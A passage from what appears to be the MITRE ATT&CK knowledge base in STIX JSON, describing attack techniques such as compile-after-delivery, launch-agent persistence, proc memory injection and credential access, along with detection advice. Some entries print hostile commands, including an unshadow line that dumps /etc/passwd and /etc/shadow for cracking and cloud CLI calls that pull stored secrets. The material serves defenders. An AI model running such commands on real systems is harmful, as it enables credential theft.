"macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", "Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925", "type": "attack-pattern", "created": "2019-04-25T20:53:07.719Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1500", "url": "https://attack.mitre.org/techniques/T1500"}, {"description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "source_name": "ClearSky MuddyWater Nov 2018"}, {"source_name": "TrendMicro WindowsAppMac", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/", "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019."}], "modified": "2020-03-16T15:38:37.650Z", "name": "Compile After Delivery", "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Static File Analysis", "Binary Analysis", "Anti-virus", "Host intrusion prevention systems", "Signature-based detection"], "x_mitre_permissions_required": ["User"], "x_mitre_system_requirements": ["Compiler software (either native to the system or delivered by the adversary)"], "x_mitre_is_subtechnique": false}, {"modified": "2023-09-30T20:24:19.357Z", "name": "Cloud Secrets Management Stores", "description": "Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.  \n\nSecrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables.  \n\nIf an adversary is able to gain sufficient privileges in a cloud environment \u2013 for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets \u2013 they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)\n\n**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Martin McCloskey, Datadog"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["IaaS"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Cloud Service: Cloud Service Enumeration"], "type": "attack-pattern", "id": "attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561", "created": "2023-09-25T12:41:26.501Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1555/006", "external_id": "T1555.006"}, {"source_name": "Sysdig ScarletEel 2.0 2023", "description": "Alessandro Brucato. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved September 25, 2023.", "url": "https://sysdig.com/blog/scarleteel-2-0/"}, {"source_name": "AWS Secrets Manager", "description": "AWS. (n.d.). Retrieve secrets from AWS Secrets Manager. Retrieved September 25, 2023.", "url": "https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html"}, {"source_name": "Google Cloud Secrets", "description": "Google Cloud. (n.d.). List secrets and view secret details. Retrieved September 25, 2023.", "url": "https://cloud.google.com/secret-manager/docs/view-secret-details"}, {"source_name": "Permiso Scattered Spider 2023", "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.", "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"}, {"source_name": "Microsoft Azure Key Vault", "description": "Microsoft. (2023, January 13). Quickstart: Set and retrieve a secret from Azure Key Vault using Azure CLI. Retrieved September 25, 2023.", "url": "https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-18T22:44:01.723Z", "name": "Code Repositories", "description": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code.  Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.", "x_mitre_platforms": ["SaaS"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Itamar Mizrahi, Cymptom", "Toby Kohlenberg", "Josh Liburdi, @jshlbrd"], "x_mitre_data_sources": ["Application Log: Application Log Content", "Logon Session: Logon Session Creation"], "type": "attack-pattern", "id": "attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3", "created": "2021-05-11T18:51:16.343Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1213/003", "external_id": "T1213.003"}, {"source_name": "Wired Uber Breach", "description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.", "url": "https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/"}, {"source_name": "Krebs Adobe", "description": "Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.", "url": "https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", "created": "2020-03-02T14:27:00.693Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1565.002", "url": "https://attack.mitre.org/techniques/T1565/002"}, {"source_name": "DOJ Lazarus Sony 2018", "url": "https://www.justice.gov/opa/press-release/file/1092091/download", "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}, {"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "modified": "2022-04-19T23:04:44.258Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Transmitted Data Manipulation", "x_mitre_detection": "Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Process: OS API Execution", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "x_mitre_impact_type": ["Integrity"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", "type": "attack-pattern", "created": "2020-02-11T18:46:56.263Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://attack.mitre.org/techniques/T1003/008", "external_id": "T1003.008", "source_name": "mitre-attack"}, {"description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.", "url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html", "source_name": "Linux Password and Shadow File Formats"}, {"description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.", "url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/", "source_name": "nixCraft - John the Ripper"}], "modified": "2020-03-20T15:56:55.022Z", "name": "/etc/passwd and /etc/shadow", "description": "Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access <code>/etc/passwd</code> and <code>/etc/shadow</code>, alerting on the pid, process name, and arguments of such programs.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Access", "Command: Command Execution"], "x_mitre_permissions_required": ["root"]}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Antonio Piazza, @antman1p"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "created": "2020-01-17T16:10:58.592Z", "x_mitre_version": "1.4", "external_references": [{"source_name": "mitre-attack", "external_id": "T1543.001", "url": "https://attack.mitre.org/techniques/T1543/001"}, {"source_name": "AppleDocs Launch Agent Daemons", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017."}, {"source_name": "Sofacy Komplex Trojan", "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."}, {"source_name": "OceanLotus for OS X", "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017."}, {"source_name": "OSX Keydnap malware", "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017."}, {"source_name": "Methods of Mac Malware Persistence", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."}, {"source_name": "OSX Malware Detection", "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."}, {"source_name": "Antiquated Mac Malware", "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017."}, {"source_name": "OSX.Dok Malware", "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ", "modified": "2022-04-21T16:13:00.598Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Launch Agent", "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's <code> ProgramArguments </code> key pointing to executables located in the <code>/tmp</code> or <code>/shared</code> folders are in alignment with enterprise policy. Ensure all Launch Agents with the <code>RunAtLoad</code> key set to <code>true</code> are in alignment with policy. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["File: File Modification", "Service: Service Modification", "File: File Creation", "Service: Service Creation", "Command: Command Execution"], "x_mitre_permissions_required": ["Administrator", "User"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253", "type": "attack-pattern", "created": "2020-03-10T18:23:06.482Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1569", "url": "https://attack.mitre.org/techniques/T1569"}], "modified": "2022-03-22T17:29:46.189Z", "name": "System Services", "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Monitor for command line invocations of tools capable of modifying services that doesn\u2019t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "Service: Service Creation", "File: File Modification", "Command: Command Execution"], "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM", "root"], "x_mitre_remote_support": true, "x_mitre_is_subtechnique": false}, {"modified": "2024-03-01T17:35:02.889Z", "name": "Windows Command Shell", "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_deprecated": false, "x_mitre_detection": "Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "created": "2020-03-09T14:12:31.196Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/003", "external_id": "T1059.003"}, {"source_name": "SSH in Windows", "description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.", "url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591", "type": "attack-pattern", "created": "2020-01-14T01:34:10.588Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1055.009", "url": "https://attack.mitre.org/techniques/T1055/009"}, {"url": "http://hick.org/code/skape/papers/needle.txt", "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", "source_name": "Uninformed Needle"}, {"source_name": "GDS Linux Injection", "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html", "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020."}, {"source_name": "DD Man", "url": "http://man7.org/linux/man-pages/man1/dd.1.html", "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020."}], "modified": "2020-06-20T22:25:55.331Z", "name": "Proc Memory", "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification"], "x_mitre_defense_bypassed": ["Application control", "Anti-virus"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", "type": "attack-pattern", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1223", "url": "https://attack.mitre.org/techniques/T1223"}, {"source_name": "Microsoft HTML Help May 2018", "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.", "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"}, {"source_name": "Microsoft HTML Help ActiveX", "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.", "url": "https://msdn.microsoft.com/windows/desktop/ms644670"}, {"url": "https://msdn.microsoft.com/windows/desktop/ms524405", "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.", "source_name": "Microsoft HTML Help Executable Program"}, {"url": "https://msitpros.com/?p=3909", "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.", "source_name": "MsitPros CHM Aug 2017"}, {"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625", "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.", "source_name": "Microsoft CVE-2017-8625 Aug 2017"}], "modified": "2020-01-31T18:59:00.845Z", "name": "Compiled HTML File", "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Application whitelisting", "Digital Certificate Validation"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2023-04-14T20:04:42.893Z", "name": "Acquire Access", "description": "Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a \u201cload\u201d that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor 